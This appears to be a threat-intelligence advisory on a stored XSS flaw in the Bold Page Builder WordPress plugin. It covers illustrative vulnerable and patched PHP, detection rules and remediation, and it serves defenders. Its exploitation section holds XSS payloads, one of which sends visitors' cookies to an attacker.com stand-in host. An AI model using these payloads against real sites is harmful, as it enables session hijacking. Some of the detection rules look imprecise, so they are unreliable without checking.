CVE-2024-2734

Executive Summary

CVE-2024-2734 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder plugin for WordPress, affecting all versions up to and including 4.8.8. The flaw resides in the plugin's AI features, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a compromised page, leading to potential session hijacking, data theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), and no patch is currently available. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and does not involve Apache or Nginx.

Supply Chain & Package Security

This vulnerability is specific to the Bold Page Builder plugin, distributed via the WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites using this plugin, with no broader supply chain implications.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level access)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction, making it a viable vector for authenticated attackers to compromise multiple users.

Deep Dive & Mechanics

The vulnerability exists in the Bold Page Builder's AI features, which process user-supplied attributes (e.g., shortcode parameters or custom fields) without proper sanitization or output escaping. When an attacker with contributor-level access creates or edits a page using the plugin, they can inject malicious JavaScript into these attributes. The plugin then stores this input in the WordPress database. Upon page rendering, the unsanitized data is output directly into the HTML, allowing the injected script to execute in the context of any visitor's browser.

The root cause is a failure to apply WordPress's built-in escaping functions (e.g., esc_attr(), esc_html(), or wp_kses()) to user-controlled data before output. This is a classic stored XSS pattern, common in plugins that handle rich content or AI-generated elements.

Vulnerable vs. Patched Code

Vulnerable Code (Bold Page Builder <= 4.8.8):

// Example of vulnerable attribute handling
function bold_ai_render($atts) {
    $prompt = $atts['ai_prompt']; // No sanitization
    echo "<div class='bold-ai-content' data-prompt='" . $prompt . "'>";
    // ... render content
    echo "</div>";
}

Patched Code (Hypothetical fix):

function bold_ai_render($atts) {
    $prompt = esc_attr($atts['ai_prompt']); // Sanitize for HTML attribute
    echo "<div class='bold-ai-content' data-prompt='" . $prompt . "'>";
    // ... render content
    echo "</div>";
}

The patched version uses esc_attr() to escape the attribute value, preventing script injection. Additionally, output should be escaped with esc_html() or wp_kses() for other contexts.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: Authenticated WordPress account with contributor-level access or higher.

2. Steps:

   • Log in to WordPress and navigate to a page or post editor.
   • Insert a Bold Page Builder block that uses AI features (e.g., AI-generated text or image).
   • In the attribute field (e.g., ai_prompt), inject the following payload:

     "><script>alert('XSS')</script>
     

   • Save or publish the page.
   • When any user visits the page, the script executes.

3. Advanced Payload (Session Hijacking):

   "><script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

Blue Team (Detection & Mitigation)

1. Detection:

   • Monitor WordPress logs for suspicious page edits by contributor-level users.
   • Use web application firewalls (WAF) to block common XSS patterns in POST requests.
   • Scan the database for injected scripts using:

     SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';
     

2. Mitigation:

   • Disable the Bold Page Builder plugin until a patch is released.
   • Implement a Content Security Policy (CSP) to block inline scripts:

     Content-Security-Policy: default-src 'self'; script-src 'self';
     

   • Restrict contributor-level permissions to prevent access to vulnerable features.

Indicators of Compromise (IOCs)

• File-based IOCs:

  • Modified WordPress pages/posts containing <script> tags in post_content.
  • Suspicious entries in wp_postmeta with meta_key related to Bold Page Builder (e.g., _bold_ai_data).

• Network-based IOCs:

  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Unusual Referer headers in requests to the site.

• Log-based IOCs:

  • WordPress audit logs showing page edits by contributor users with unusual attribute values.
  • Web server logs with POST requests containing XSS patterns (e.g., <script>).

Detection Engineering

YARA Rule

rule CVE_2024_2734_Bold_Page_Builder_XSS {
    meta:
        description = "Detects stored XSS payloads in Bold Page Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-2734"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $bold_ai_attr = /data-prompt\s*=\s*"[^"]*<script/i
    condition:
        $bold_ai_attr or ($xss_payload and #bold_ai_attr > 0)
}

Sigma Rule

title: CVE-2024-2734 - Stored XSS in Bold Page Builder
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects stored XSS attempts via Bold Page Builder AI features
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=bold_ai_save'
        cs-uri-query|contains|re: '<script[^>]*>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2734 - Bold Page Builder Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=bold_ai_save"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the Bold Page Builder plugin on all WordPress sites.
   • Review and clean any existing pages/posts for injected scripts using database queries.
   • Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

2. Long-term Fix:

   • Apply the vendor patch when released (currently unavailable).
   • If custom development is possible, apply input sanitization and output escaping as shown in the patched code example.
   • Consider migrating to an alternative page builder plugin.

3. Preventive Measures:

   • Enforce least privilege for WordPress user roles; restrict contributor access.
   • Regularly update all plugins and themes.
   • Use security plugins (e.g., Wordfence) to monitor for XSS attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert